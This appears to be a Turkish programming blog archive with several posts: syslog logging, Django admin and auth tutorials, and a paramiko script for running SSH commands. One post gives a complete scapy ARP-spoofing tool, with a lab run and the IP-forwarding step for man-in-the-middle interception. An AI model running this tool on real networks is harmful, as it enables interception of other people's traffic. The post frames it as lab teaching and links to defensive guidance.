30 Mayıs 2014 Cuma

Python - Syslog Loglama AltYapısının Kullanımı

Özellikle komut satırından çalıştırılan uygulamalar için gerçekleştirilen detaylarını kayıt altına almak, hata mesajlarını kayıt altına almak vb sebeplerden dolayı loglama (işlem kaydı) işlemlerinin gerçekleştirilmesi gerekmektedir.

Bu amaçla kullanılan farklı kütüphaneler bulunmaktadır. Linux/Unix sistemlerde özellikle bu amaç için geliştirilmiş ve en çok tercih edilen servis ile aynı ismi taşıyan syslog kütüphanesi kullanılmaktadır. Aşağıdaki örnek ile syslog servisini kullanan örnek bir loglama servisi geliştirilmiştir. 

#!/usr/bin/python


try:

        import logging
        import logging.handlers
        import sys
except ImportError,e:
        import sys
        sys.stdout.write("%s\n" %e)
        sys.exit(1)

class Log:
        logger = None
        @staticmethod

        def log_message(level, message):
                if not Log.logger:
                        Log.logger = logging.getLogger("Galkan")
                        syslog_handler = logging.handlers.SysLogHandler( address = ( '127.0.0.1', 514 ), facility = logging.handlers.SysLogHandler.LOG_LOCAL5 )
                        formatter = logging.Formatter('[%(levelname)s] - %(message)s')
                        syslog_handler.setFormatter(formatter)
                        Log.logger.addHandler( syslog_handler )

                if level == 1:
                        Log.logger.setLevel( logging.INFO )
                        Log.logger.info(message)
                elif level == 2:
                        Log.logger.setLevel( logging.WARN )
                        Log.logger.warn(message)
                elif level == 3:
                        Log.logger.setLevel( logging.ERROR )
                        Log.logger.error(message)
                else:
                        Log.logger.setLevel( logging.INFO )
                        Log.logger.info(message)

if __name__ == "__main__":
     Log.log_message(1, "Mesaj")


Syslog servisinin belirtildiği şekilde çalıştırılabilmesi için gerekli yapılandırma ayarları belirtildiği gibi olmaktadır. Belirtilen log seviyesi için dosyanın tam yolu ve ardından gerekli syslog modül ve ip, port yapılandırma bilgileri belirtilmektedir.
# vi /etc/rsyslog.d/50-default.conf
local5.info                             -/var/log/galkan.log
# vi /etc/rsyslog.conf
$ModLoad imudp
$UDPServerRun 514
$UDPServerAddress 127.0.0.1
Yapılandırmanın ardından syslog servisi yeniden başlatılarak yapılandırmanın aktif hale gelmesi sağlanmaktadır.  Bu durum aşağıdaki şekilde  görülebilir.
# netstat -nlput | grep 514
udp        0      0 0.0.0.0:514             0.0.0.0:*                           28687/rsyslogd
İlgili programın çalışmasının ardından belirtilen dosya içeriğine bakıldığında aşağıdaki içerik görüntülenecektir.

29 Mayıs 2014 Perşembe

Arpspoof yerel ağlarda en çok karşılaşılan saldırılardan bir tanesi olarak göze çarpmaktadır. Kısaca saldırgan hedef bilgisayarın arp tablosundaki kayıtları değiştirirerek ön tanımlı ağ geçidi üzerinden akacak trafiğin kendisi üzerinden akmasını sağlamasıdır. http://en.wikipedia.org/wiki/ARP_spoofing adresinden arpspoof ile ilgili daha fazla bilgi edinilebilir.

Bu saldırının önlemi için yapılabileceklere https://www.bilgiguvenligi.gov.tr/aktif-cihaz-guvenligi/ikinci-katman-saldirilari-1-3.html adresinden göz atılabilir. 

Burada https://github.com/byt3bl33d3r/arpspoof/blob/master/arpspoof.py adresindeki örnek temel alınarak arpspoof saldırını gerçekleştirmek üzere dsniff paketi ile birlikte gelen arpsoof yazılımının parametre kullanımı baz alınarak bir geliştirme gerçekleştirilmiştir. 

Yazılım scapy kütüphanesi kullanılarak geliştirilmiştir. Eğer sistemde yoksa kurulması gerekmektedir. Bu işlem apt-get paket yönetimini kullanan sistemlerde apt-get install python-scapy komutunun çalıştırılması ile gerçekleştirilebilir. Scapy ile ilgili daha fazla bilgi almak için http://www.secdev.org/projects/scapy/ adresine göz atılabilir.

https://github.com/galkan/tools/blob/master/others/programming/python/arpspoof.py adresinden yazılımın en güncel haline erişim sağlanabilmektedir.

#!/usr/bin/env python


try:
 from optparse import OptionParser
 import os
 import sys
 import signal
 from time import sleep
 import logging
 logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
 from scapy.all import *
except ImportError,e:
 import sys
 sys.stdout.write("%s\n" %e)
 sys.exit(1)


 
class ArpSpoof:

 def __init__(self):
   
     if os.geteuid() != 0:
  print "[-] Run me as root"
  sys.exit(1)

     usage = 'Usage: %prog [-i interface] [-t target] host'
     parser = OptionParser(usage)
     parser.add_option('-i', dest='interface', help='Specify the interface to use')
     parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
     parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
     (self.options, self.args) = parser.parse_args()

     if len(self.args) != 1 or self.options.interface == None:
       parser.print_help()
       sys.exit(0)

     self.broadcast_mac = 'ff:ff:ff:ff:ff:ff'  
     self.mac = get_if_hwaddr(self.options.interface)
       
 
 def build_req(self):
   
     if self.options.target == None:
  pkt = Ether(src = mac, dst = self.broadcast_mac)/ARP(hwsrc = self.mac, psrc = self.args[0], pdst = self.args[0])
     elif self.options.target:
  target_mac = getmacbyip(self.options.target)
  if target_mac == None:
      print "[-] Error: Could not resolve targets MAC address"
      sys.exit(1)
  pkt = Ether(src = self.mac, dst = target_mac)/ARP(hwsrc = self.mac, psrc = self.args[0], hwdst = target_mac, pdst = self.options.target)
  
     return pkt

     

        def build_rep(self):
   
     if self.options.target == None:
  pkt = Ether(src = self.mac, dst = self.broadcast_mac)/ARP(hwsrc = self.mac, psrc = self.args[0], op = 2)
     elif self.options.target:
  target_mac = getmacbyip(self.options.target)
  if target_mac == None:
   print "[-] Error: Could not resolve targets MAC address"
   sys.exit(1)
  pkt = Ether(src = self.mac, dst = target_mac)/ARP(hwsrc = self.mac, psrc = self.args[0], hwdst = target_mac, pdst = self.options.target, op = 2)

     return pkt


     
 def rearp(self, signal, frame):
   
     sleep(1)
     print '\n[*] Re-arping network'
     rearp_mac = getmacbyip(self.args[0])
     print self.args[0]
     
     pkt = Ether(src = rearp_mac, dst = self.broadcast_mac)/ARP(psrc = self.args[0], hwsrc = self.mac, op = 2)
     sendp(pkt, inter = 1, count = 5, iface = self.options.interface)
     sys.exit(0)

      
      
        def main(self):
 
     if self.options.mode == 'req':
  pkt = self.build_req() 
     elif self.options.mode == 'rep':
  pkt = self.build_rep()

     signal.signal(signal.SIGINT, self.rearp) 
     while True:
  sendp(pkt, inter = 2, iface = self.options.interface, verbose=False)
 
 
##
### Main ...
##
 
if __name__ == "__main__":
 
 arpspoof = ArpSpoof()
 arpspoof.main()
 

Aşağıda gösterilen senaryo sanallaştırma ortamında gerçekleştirilmiştir. Kurban bilgisayarın ön tanımlı ağ geçidi ip adresi 192.168.100.102 olarak belirtilmiştir. Bu durum aşağıdaki şekilde görülmektedir. 

Yazılımın çalıştırılması gösterildiği gibi olmaktadır. Kurban bilgisayar ip adresi olarak 192.168.100.37 belirtilmiştir.

# ./arpspoof.py -i eth0 -t 192.168.100.37 192.168.100.2
[*] Re-arping network
192.168.4.1
.....
Sent 5 packets.

Saldırı sonrası kurban bilgisayara ait trafiğin sağlıklı bir şekilde iletilebilmesi için linux sistemlerde ip forwarding'in aktive edilmesi gerekmektedir. Bunun için kısaca belirtilen komutun işletilmesi gerekmektedir.

# echo "1" > /proc/sys/net/ipv4/ip_forward

Saldırı öncesi kurban bilgisayar arp tablosu aşağıda gösterildiği gibi olmaktadır.
Saldırı öncesi kurban bilgisayara ait arp tablosu
Saldırıs sonrası kurban bilgisayara ait arp tablosu aşağıda gösterildiği gibi olmaktadır.
Saldırı sonrası kurban bilgisayara ait arp tablosu
Görüldüğü gibi saldırı sonrası  kurban bilgisayara ait arp tablosunda ön tanımlı ağ geçidi mac adresi olarak saldırgan bilgisayara ait mac kaydı görülmektedir.

Kaynak:
https://github.com/byt3bl33d3r/arpspoof/blob/master/arpspoof.py
http://www.secdev.org/projects/scapy/
https://www.bilgiguvenligi.gov.tr/aktif-cihaz-guvenligi/ikinci-katman-saldirilari-1-3.html
http://en.wikipedia.org/wiki/ARP_spoofing
https://github.com/galkan/tools/blob/master/others/programming/python/arpspoof.py
http://www.galkan.net/search?q=python

28 Mayıs 2014 Çarşamba

Django iç içe model kullanımına izin vermektedir. Bu konuya Model Admin Seçenekleri başlıklı yazıda değinilmiştir. Ama burada tekrar hatırlatalım. Örneğin elimiz de şöyle iki model bulunduğunu varsayalım.
class Exam(models.Model):
    name = models.CharField(max_length=100, verbose_name="Exam Name ")

    def __unicode__(self):
        return self.name

class Question(models.Model):
    question = models.TextField(verbose_name="Question Title ")
    exam = models.ForeignKey(Exam, verbose_name="Question Exam ")

    def __unicode__(self):
        return self.question
Sınav ve Soru olmak üzere iki adet modelimiz var. Ve aralarında gördüğünüz gibi ForeignKey ilişkisi bulunmaktadır. Yani bir Sınav birden fazla soruya sahip olabilmektedir. İşte biz burada admin.py dosyası içerisinde inline seçeneğini kullanarak sınav eklerken aynı zamanda sınava ait soruları da ekleyebiliyoruz. Bunun için admin.py dosyası içerisinde şu kodları yazmalıyız.
class QuestionInline(admin.StackedInline):
    model = Question
    inlines = (AnswerInline,)


class ExamAdmin(admin.ModelAdmin):
    inlines = [
        QuestionInline
    ]
admin.site.register(Exam, ExamAdmin)
Bu tanımaları yaptıktan sonra artık bir sınav eklerken aynı zamanda sorularını da ekleyebilirsiniz.
Bunun yanında soruların da cevapları olacaktır. Django bu şekilde iç içe birden fazla modelin kullanılmasını kendi admin'i ile sağlamıyor. Bu yüzden başka bir uygulama kullanmamız gerekiyor. Bu yazının asıl amacı da bu uygulamanın kullanımını göstermek. Django nested inlines'i indirmek için https://github.com/Soaa-/django-nested-inlines adresine gidiyoruz.
İsterseniz indirerek kurabilirsiniz. Biz kendi uygulamamız içerisine kuracağız. Bunun için uygulamanın ana dizininde iken şu komutu verin.
pip install -e git+git://github.com/Soaa-/django-nested-inlines.git#egg=django-nested-inlines
Bu komutu verdikten sonra uygulama dizini içerisinde src adında bir dizin oluşacak ve içerisinde de nested-inlines bulunacaktır. İlk önce uygulamayı projemize dahil etmeliyiz. Bunun için settings.py dosyası içerisinde INSTALLED_APPS demetinde 'django.contrib.admin''den önce uygulamayı dahil ediyoruz.
INSTALLED_APPS = (
    'nested_inlines',
    'django.contrib.admin',
...
)
Artık kullanabiliriz. Modellerimiz şu şekilde.
class Exam(models.Model):
    name = models.CharField(max_length=100, verbose_name="Exam Name ")

    def __unicode__(self):
        return self.name

class Question(models.Model):
    question = models.TextField(verbose_name="Question Title ")
    exam = models.ForeignKey(Exam, verbose_name="Question Exam ")

    def __unicode__(self):
        return self.question


class Answer(models.Model):
    answer = models.CharField(max_length=300,verbose_name="Question answer ")
    question = models.ForeignKey(Question, verbose_name="Answer Question ")

    def __unicode__(self):
        return self.answer

Sınav içerisinde sınava ait soruları ve bu sorulara ait cevapları ekleyebileceğiz. Bunun için admin.py dosyasına şu kodları yazıyoruz.
from nested_inlines.admin import NestedModelAdmin, NestedStackedInline, NestedTabularInline

class AnswerInline(NestedTabularInline):
    model = Answer

class QuestionInline(NestedStackedInline):
    model = Question
    inlines = (AnswerInline,)

class ExamAdmin(NestedModelAdmin):
    inlines = [
        QuestionInline
    ]

admin.site.register(Exam, ExamAdmin)
Bu işlemleri yaptıktan sonra sınavı kaydederken hata alabilirsiniz. Eğer hata alırsanız src/django-nested-inlines/nested_inlines/templates/admin/edit_inline/ yolunu takip ederek dizini açınız. Dizin içerisinde stacked.html,tabular.html adında iki dosya bulunmaktadır. Bu dosyalar içerisini açınız ve şu satırı bulunuz.
{% if inline_admin_form.has_auto_field %}{{ inline_admin_form.pk_field.field }}{% endif %}
Bu satırı şu silerek yerine şu satırı yazınız.
{% if inline_admin_form.needs_explicit_pk_field %}{{ inline_admin_form.pk_field.field }}{% endif %}
Sorunun düzelmiş olması gerekiyor. Şimdi kullanabilirsiniz. Kaynakça

27 Mayıs 2014 Salı

Filtre Oluşturmak

Daha önce Filtreler yazısında önemli filtrelerin kullanımından bahsetmiştik. Bu yazımızda ise basit bir şekilde kendi filtremizi yazmaktan bahsedeceğiz. Bir proje oluşturuyoruz ve bu proje içerisinde filtre adında bir uygulama oluşturuyoruz. Bu uygulamaya ait filtreleri uygulama içerisindeki templatetags dizini oluşturarak içerisinde oluşturacağız. Yani uygulama yapısı şu şekilde olacak.
filtre/
      templatetags/
                  __init__.py
                  filtre_adi.py  
      __init__.py
      admin.py
      models.py
      ...
templatetags dizini içerisinde __init__.py dosyasını oluşturmayı unutmayın. Bu dizin içerisinde oluşturduğumuz filtre_adi.py dosyası içerisinde kendi filtrelerimizi yazabileceğiz. Şimdi ilk önce templatetags dizini içerisinde __init__.py ve filtrelerim.py dosyalarını oluşturuyoruz. Ardından filtrelerim.py dosyasını açarak içine şu kodları yazıyoruz.
from django import template
register = template.Library()


def ekle(sayi, deger):
    return sayi+deger

register.filter('ekle',ekle)

Gerekli tanımaları yaptıktan sonra ekle adından çok basit bir fonksiyon tanımladık. Bu fonksiyon aldığı iki sayıyı toplayarak geri döndürüyor. Şimdi bu ekle filtresini şablon içerisinde kullanacağız. İlk bir görünüm oluşturalım.
def filtreler(request):
    sayi = 10
    return render_to_response('filtreler.html',locals())
Oluşturduğunuz filtreler.html içerisine şu kodları yazın.
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>

{% load filtrelerim %}

{{ sayi|ekle:5}}

</body>
</html>
Filtreyi oluşturmadan önce filtrelerim.py dosyasını içeri yüklüyoruz. Ardından {{ sayi|ekle:5}} satırı ile filtreyi kullanıyoruz. Burada sayi, filtreye gönderilen ilk değer ekle filtre adı ve 5 filtreye gönderilen ikinci değerdir. Ekran çıktısı olarak 15 alacaksınız. Filtrelerin oluşturulması bu şekildedir. Bu yolu kullanarak uygulamalarınızda istediğiniz filtreleri oluşturabilirsiniz.
Kaynakça

26 Mayıs 2014 Pazartesi

Görünümlerin Gizlenmesi

Kullanıcıya giriş yaptırdık. Ardında da kullanıcıyı yönetim sayfasına yönlendirdik. Şimdi kullanıcı girişi yapmadan tarayıcıya http://localhost:8000/yonetim/ yazın ve girin. Yönetim sayfasına ulaştınız değil mi? Bu durumun böyle olmaması gerekiyor. Şimdi bunun önüne geçeceğiz. Sadece giriş yapmalarını istediğimiz görünümlerin başına aşağıdaki kod parçasını yazmamız gerekiyor. Şimdi bunu yonetim görünümü için yapalım.
if not request.user.is_authenticated():
 return HttpResponseRedirect('/accounts/login/?next=%s' % request.path)
-
Yönetim görünümünün başına bu kodları yazdıktan sonra giriş yapmadan yönetim sayfasına ulaşmaya çalışın. Giriş sayfasına yönlendirildiniz değil mi? Biz burada kullanıcıyı giriş sayfasına yönlendirdik. Eğer isterseniz, oluşturduğunuz bir hata sayfasına da yönlendirme yapabilirsiniz.
 if not request.user.is_authenticated():
  return render_to_response('hata.html')
Ama bu işlem biraz uzun olduğu için her seferinde bu satırları yazmak biraz canınızı sıkabilir. Şimdi gelin Django'nun bize sağlamış olduğu müthiş bir kolaylıktan yararlanalım. Bunun için login_required modülünü kullanacağız. İlk önce yonetim/views.py dosyasının en başında bu modülü içe aktaralım.
from django.contrib.auth.decorators import login_required
Şimdi yapmamız gereken tek şey gizlemek istediğimiz görünümden hemen önce @login_required ifadesini eklemek.
@login_required
def yonetim(request):
 return render_to_response('yonetim.html',locals())
Django işimizi çok kolaylaştırdı. Sadece giriş yapmış kullanıcıların görmesini istediğiniz her görünüm için bu yöntemi uygulayabilirsiniz.
@login_required()
def Doktor_listesi(request):
 if request.GET.get('siralama'):
  request.session['doktor_siralama'] = request.GET['siralama']
 if not 'doktor_siralama' in request.session:
Giriş yapmadan tarayıcıdan localhost:8000/doktorlar adresine gidin. Django sizi giriş sayfasına yönlendirdi. Şimdi tarayıcının adres çubuğunu inceleyin. http://localhost:8000/accounts/login/?next=/doktorlar/ adresini görüyor olacaksınız. İşte buradaki next değeri bizim hangi sayfadan yönlendirildiğimizi tutuyor. Eğer giriş yaparsanız doğrudan o sayfaya yönlendirileceksiniz. Bu işlemin yapılmasını daha öncede login.html şablonunda yazdığımız şu satırlar sağlıyor.
{% if next %}
    <input type="hidden" name="next" value="{{ next }}" />
{% else %}
    <input type="hidden" name="next" value="/yonetim/" />
{% endif %}
</form>
Şimdi giriş yapın. Doğrudan doktorlar sayfasına yönlendirileceksiniz. Bazen her kullanıcının görmesini istemediğimiz sayfalar olabilir. Örneğin yonetim sayfasını sadece yöneticinin görmesini isteyebiliriz. Şimdi bunu nasıl yapabiliriz ona bakalım. Aynı şekilde ilk uzun yoldan yapalım.
if not "yonetici" in request.user.username:
 return HttpResponseRedirect('/accounts/login/?next=%s' % request.path)
-
Bu kod parçasını yonetim görünümünün başına eklediğimizde eğer giren kullanıcının kullanıcı adı yonetim değilse tekrardan giriş sayfasına yönlendirecek. Bu işlemi yapmak için de Django bize kolaylık sağlıyor. Bu şekilde bir kontrol için de user_passes_test modülünü kullanacağız.
from django.contrib.auth.decorators import user_passes_test

def kullanici_kontrol(user):
 return "yonetici" in user.username

@user_passes_test(kullanici_kontrol)
def yonetim(request):
 return render_to_response('yonetim.html',locals())
login_required modülü anonim kullanıcılar içindir. Tek umursadığı şey herhangi bir kullanıcının giriş yapmış olmasıdır. Eğer bir kullanıcı giriş yapmışsa o görünümü görebilir. Eğer kullanıcılar arasında da ayrım yapmak istersek o zaman user_passes_test modülünü kullanmalıyız. Bu modül içerisine parametre olarak işlev alır. Kullanıcı kontrolünü de bu işlev içerisinde yapabiliriz. İstediğiniz her şey için filtreleme yapabilirsiniz. Kullanıcı adı,kullanıcının ilk adı, kullanıcının kayıt olduğu tarih vb.
Görünüm gizlemeyi doğrudan hastahane/urls.py dosyasında da yapabiliriz.
#hastahane/urls.py dosyasının başına ekliyoruz.
from django.contrib.auth.decorators import login_required
url(r'^hasta-ekle/',
  login_required(yonetim.views.hasta_ekleme)),
hasta_ekleme görünümü sadece giriş yapmış kullanıcıların görmesini sağladık.
Kaynakça

25 Mayıs 2014 Pazar

Linux\Unix sistemlerde SSH servisi üzerinden otomatik olarak komut çalıştırarak sistem yönetimi otomatik olarak gerçekleştirilebilir. Örneğin Linux sistemlerde üzerinde periyodik olarak gerçekleştirilebilecek olan işlemler bu yolla yapılarak raporlanabilir. Özellikle aynı işin gerçekleştirilmesi gereken birden fazla Linux/Unix sunucunun bulunduğu ortamlar için bu durum oldukça büyük rahatlık sağlayabilmektedir.

Python ile SSH servisi üzerinden komut çalıştırmak amaçlı kullanılan kütüphanenin adı paramikodur. Detaylı bilgi için https://github.com/paramiko/paramiko/ adresine göz atılabilir.

Kısaca paramiko kütüphanesinin sisteme kurulabilmesi için apt-get paket yönetim sistemi kullanan sistemlerde aşağıdaki adımlar takip edilebilir. 

# apt-get install pip
# pip install ecsda
# wget https://github.com/paramiko/paramiko/archive/master.zip
# unzip master.zip
# python setup.py install

Betik bir yapılandırma dosyası aracılığı ile SSH servisi üzerinden otomatik olarak komut çalıştırmaya izin vermektedir Yapılandırma dosyasının formatı ise;

Ip_Adresi:Kullanıcı Adı:Parola: Çalıştırılmak İstenen Komut;Çalıştırılmak İstenen Komut2;...

Birden fazla komutun çalıştırılması isteniyorsa eğer ; ile belirtiminin gerçekleştirilmesi gerekmektedir.

#!/usr/bin/python

"""
In order to install paramiko, follow steps below... 
# apt-get install pip
# pip install ecsda
# wget https://github.com/paramiko/paramiko/archive/master.zip
# unzip master.zip
# python setup.py install
"""

try:
        import paramiko 
        import argparse
        import sys
        import os
        import threading
        import Queue
        import time
except ImportError,e:
        import sys
        sys.stdout.write("%s\n" %e)
        sys.exit(1)



class SshClient:
    TIMEOUT = 5

    def __init__(self, host, port, username, password, passphrase = None):
        self.username = username
        self.password = password
        self.client = paramiko.SSHClient()
        self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        self.client.connect(host, port, username = username, password = password, timeout = self.TIMEOUT)


    def execute(self, command):
        stdin, stdout, stderr = self.client.exec_command(command)
 return {'out': stdout.readlines(), 'err': stderr.readlines(), 'retval': stdout.channel.recv_exit_status()}

 
    def close(self):
        if self.client is not None:
            self.client.close()
            self.client = None


class Main:
 def __init__(self):

  description = "Kullanim Parametreleri"
         usage = "Usage: use --help for futher information"
         parser = argparse.ArgumentParser(description = description, usage = usage)
         parser.add_argument('-c','--config', dest = 'config', help = 'Configuration File', required = True)
         parser.add_argument('-t','--thread', dest = 'thread', help = 'Thread Number', required = False)
         self.args = parser.parse_args()

         if not os.path.exists(self.args.config):
                 print >> sys.stderr, "%s Doesn't Exists"% (self.args.config)
                 sys.exit(1)

  self.queue_full = True


 def execute_command(self, queue):
 
  while self.queue_full:
                        try:
                                cred_line = queue.get(False)
    ip_addr = cred_line.split(":")[0]
    user = cred_line.split(":")[1]
    passwd = cred_line.split(":")[2]
    command = cred_line.split(":")[3].split(";")

    try:
     client = SshClient(host = ip_addr, port = 22, username = user, password = passwd)
    except Exception, err:
     print >> sys.stderr, "%s : %s"% (ip_addr, str(err))
     sys.exit(1)

    try:
     for cmd in command:
      ret = client.execute(cmd)
      if ret["retval"] == 0:
       print "SUCCCESS: %s - %s : %d\n"% (ip_addr, cmd[:-1], ret["retval"])
       for line in ret["out"]:
        print line[:-1]
      else:
       print "FAIL: %s - %s : %d\n"% (ip_addr, cmd[:-1], ret["retval"])
    finally:
     client.close()  
   
                        except Queue.Empty:
                                self.queue_full = False
   

 def run(self):

  q = Queue.Queue()
  for line in open(self.args.config,"r"):
   if line[0] == "#":
    continue
   else:
    q.put(line)

  if self.args.thread is None:
   self.args.thread = 1

  for i in range(int(self.args.thread)):
   t = threading.Thread(target = self.execute_command, args = (q,))
   t.start()


##
### Main
##

if __name__ == "__main__":
 
 main = Main()
 main.run()

https://github.com/galkan/tools/blob/master/others/programming/python/run_command_via_ssh.py adresinden betiğin en güncel haline erişim sağlanabilmektedir.

Betiğin çalıştırılması için -c parametresi ile yapılandırma dosyası belirtilmelidir. -t parametresi ile kaç adet thread açılacağı bilgisi belirtilebilir. Bu parametre seçimlik olup kullanılmadığı durumda thread sayısı 1 olarak belirlenmektedir. Yapılandırma dosyası içerisinde işleme sokulması istenmeyen sunucular için satırın başında # işaretinin belirtilmesi yeterli olacaktır.

Belirtilen yapılandırma dosyası ile sistemlerdeki root kullanıcı parola bilgisi Test123 olarak güncellenmiş, paket güncellemeleri gerçekleştirilmiş ve ardından netstat komutu yardımı ile açık portların listesi alınmıştır.

# cat config.db
192.168.100.145:root:Test:echo -e "Test123\nTest123" | passwd root;netstat -nlput
192.168.100.146:root:Test:echo -e "Test123\nTest123" | passwd root;netstat -nlput
192.168.100.147:root:Test:echo -e "Test123\nTest123" | passwd root;netstat -nlput

Betik belirtilen şekilde çalıştırıldığında aşağıdaki çıktı alınmaktadır.

# ./run_command_via_ssh.py -c config.db -t 3
SUCCCESS: 192.168.100.145 - echo -e "Test123\nTest123" | passwd root : 0

SUCCCESS: 192.168.100.146 - echo -e "Test123\nTest123" | passwd root : 0

SUCCCESS: 192.168.100.145 - netstat -nlput : 0

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1072/sshd
tcp6       0      0 :::22                   :::*                    LISTEN      1072/sshd
udp        0      0 0.0.0.0:68              0.0.0.0:*                           1035/dhclient3
SUCCCESS: 192.168.100.147 - echo -e "Test123\nTest123" | passwd root : 0

SUCCCESS: 192.168.100.146 - netstat -nlput : 0

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1107/sshd
tcp6       0      0 :::22                   :::*                    LISTEN      1107/sshd
udp        0      0 0.0.0.0:68              0.0.0.0:*                           1079/dhclient3
SUCCCESS: 192.168.100.147 - netstat -nlput : 0

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1068/sshd
tcp6       0      0 :::22                   :::*                    LISTEN      1068/sshd
udp        0      0 0.0.0.0:68              0.0.0.0:*                           1046/dhclient3

Kaynaklar:
https://github.com/paramiko/paramiko/
https://github.com/galkan/tools/blob/master/others/programming/python/run_command_via_ssh.py

22 Mayıs 2014 Perşembe

Kullanıcı Özellikleri ve Metotları

Bir önceki yazımızda yonetim.html şablonu içerisinde şu kod parçasını kullanarak, kullanıcının tam adına ulaşmıştık.
{% if request.user.is_authenticated %}
    <h3>Hoş geldin {{request.user.get_full_name}}</h3>
{% endif %}
Şimdi kullanıcılar ile kullanabileceğimiz diğer özellikleri inceleyelim.
Özellik Açıklama
username Kullanıcı adı. Gereklidir. 30 veya daha az karakterden oluşabilir. Alfanümarik karakterlerden oluşabilir.(harf,rakam,alt çizgi)
first_name Kullanıcının adı. İsteğe bağlıdır. 30 veya daha az karakter içerebilir.
last_name Kullanıcının adı. İsteğe bağlıdır. 30 veya daha az karakter içerebilir.
email Kullanıcının e-posta adresi. İsteğe bağlıdır.
password Kullanıcının şifresi.Gereklidir. Django şifreleyerek saklar. Eğer ekrana yazdırırsanız, ham şifreyi göremezsiniz.
is_staff Boolean bir değerdir. Kullanıcının yönetici olup olmadığını tutar.
is_active Boolean bir değerdir. Kullanıcın aktif olup olmadığını tutar.
is_superuser Boolean bir değerdir. Kullanıcının süper kullanıcı olup olmadığını tutar. Süper kullanıcı tüm izinlere sahip olan kullanıcıdır.
last_login Kullanıcının son giriş yaptığı tarihi tutar.
date_joined Kullanıcının oluşturulduğu tarihi tutar.
Şimdi de metodları inceleyelim.
Metod Açıklama
is_authenticated() Boolean bir değerdir. Kullanıcın onaylanıp onaylanmadığını tutar. Kullanıcın giriş yapabilmesi için onaylanması gerekir.
is_anonymous() is_authenticated() metodunun tersi gibi düşünebiliriz. Boolean bir değerdir. Kullanıcı onaylanmış ise False tutar.
get_full_name () Kullanıcının adını ve soyadını bir arada verir.
set_password (sifre) Kullanıcıya yeni şifre atama işlemi yapar.
check_password(sifre) Boolean bir değer döndürür. Kullanıcın şifresini kontrol etmek için kullanılır.
get_group_permissions () Kullanıcı gruplarını ve o gruba ait izinleri liste olarak döndürür.
get_all_permissions() Grubu aracılığı ile kullanıcının tüm izinlerini döndürür.
has_perm(izin) Parametre olarak aldığı izinin kullanıcıda varlığını kontrol eder. Eğer kullanıcı izine sahipse True döndürür. Kullanıcı etkin değilse False döndürür.
has_perms(izin_listesi) Kullanıcı belirtilen tüm izinlere sahip ise True döndürür. Kullanıcı etkin değilse False döndürür.
get_and_delete_messages() Kullanıcının mesaj kuyruğunda mesajlar varsa bunların listesini döndürür ve siler.
email_user(baslik,icerik) Kullanıcıya mail gönderir.
Kaynakça

20 Mayıs 2014 Salı

Kullanıcılar

Dada önce yönetim panelinden bahsetmiştik. Django'da kullanıcıları yönetirken Yönetim Paneli'ni kullanabilirsiniz. Biz daha çok görünümler içerisinde bu kullanıcıları nasıl kullanacağımızdan bahsedeceğiz.
Gördüğünüz gibi şuanda sadece proje oluşturulurken Django'nun oluşturduğu root kullanıcısı bulunmaktadır. Görünümler oluştururken istediğimiz sayfaları sadece belli kullanıcıların görmesini, veya doktor ekleme işlemini belli kullanıcıların yapması gibi işlemler yapabiliriz. Bu tarz işlemler projemizin daha yönetilebilir olmasını sağlayacaktır.
Kullanıcı Nesneleri
Kullanıcılar üzerinde işlem yapabilmek için kullanıcı nesnelerini kullanacağız.
Varsayılan bir kullanıcının birincil nitelikleri şöyledir.
  • username
  • password
  • email
  • first_name
  • last_name
Kullanıcı Oluşturma
Dediğimiz gibi bu tarz işlemleri Yönetim Paneli'nden yapabilirsiniz. Fakat biz işin mantığını kavrayabilmek için Python kabuğundan devam edelim. İlk Python kabuğunu açalım ve ardından bir kullanıcı oluşturalım.
>>> from django.contrib.auth.models import User
>>> kullanici = User.objects.create_user('mazlum','mazlum@mail.com','1234')
>>> kullanici.first_name = 'Mazlum'
>>> kullanici.last_name = 'Ağar'
>>> kullanici.save()
Kullanıcıyı oluşturmak bu kadar basit. Burada firt_name,last_name özellikleri ile ad ve soyad tanımlaması yaptık. Kullanıcı oluştururken bunları tanımlamak zorunda değilsiniz.
Dikkat etmeniz gereken nokta User.objects.create_user metoduna verdiğimiz ilk parametre kullanıcı adı, ikinci parametre e-posta adresi, üçüncü parametre ise şifresidir. Eğer üçüncü parametreyi girmeden kullanıcı tanımlarsanız, şifresi oluşturulmamış bir kullanıcı olur. Şimdi Yönetim Panelinden oluşturduğumuz kullanıcıyı bir kontrol edelim.
Gördüğünüz gibi kullanıcımız oluşturuldu.
Var olan bir kullanıcıya ulaşmak için;
>>> kullanici = User.objects.get(username='mazlum')
Var olan bir kullanıcıyı silmek için;
kullanici.delete()
Tüm kullanıcılar listesine ulaşmak için;
User.objects.all()
Kullanıcı Onaylama
Bir kullanıcı ile giriş yapmak için kullanıcının oluşturulmuş olması yetmez. Kullanıcının onaylanması gerekir. Kullanıcıyı onaylamak için authenticate modülünü kullanabiliriz.
>>> from django.contrib.auth import authenticate
>>> kullanici = authenticate(username='mazlum',password='1234')
Kullanıcının onaylanıp onaylanmadığını kontrol edebiliriz.
>>> kullanici.is_authenticated()
True
Gördüğünüz gibi kullanıcı onaylanmış. Eğer yanlış bir kullanıcı adı veya parola girerseniz hata ile karşılaşırsınız.
Kullanıcının tam adını almak için;
>>> kullanici.get_full_name()
Mazlum Ağar
Son giriş yaptığı zamanı öğrenmek için;
>>> kullanici.last_login
datetime.datetime(2014, 1, 22, 16, 31, 15, 39486, tzinfo=<utc>)
Şifre Değiştirme
Bir kullanıcının şifresini değiştirmek için;
>>> from django.contrib.auth.models import User
>>> kullanici = User.objects.get(username='kullanici_adi')
>>> kullanici.set_password('yeni_parolas')
>>> kullanici.save()
Kullanıcı Girişi
